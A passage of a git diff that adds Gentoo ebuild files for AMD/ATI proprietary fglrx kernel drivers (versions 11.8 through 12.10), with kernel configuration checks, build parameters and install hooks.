+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.8.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.8.ebuild
new file mode 100644
index 00000000..d009c8c1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.8.ebuild
@@ -0,0 +1,233 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.9.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.9.ebuild
new file mode 100644
index 00000000..d009c8c1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.9.ebuild
@@ -0,0 +1,233 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild
new file mode 100644
index 00000000..747e5e1d
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild
@@ -0,0 +1,236 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-redefine-WARN.patch
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.10.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.10.ebuild
new file mode 100644
index 00000000..842b2f58
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.10.ebuild
@@ -0,0 +1,240 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SRC_URI="http://www2.ati.com/drivers/linux/amd-driver-installer-catalyst-${PV}-x86.x86_64.zip"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
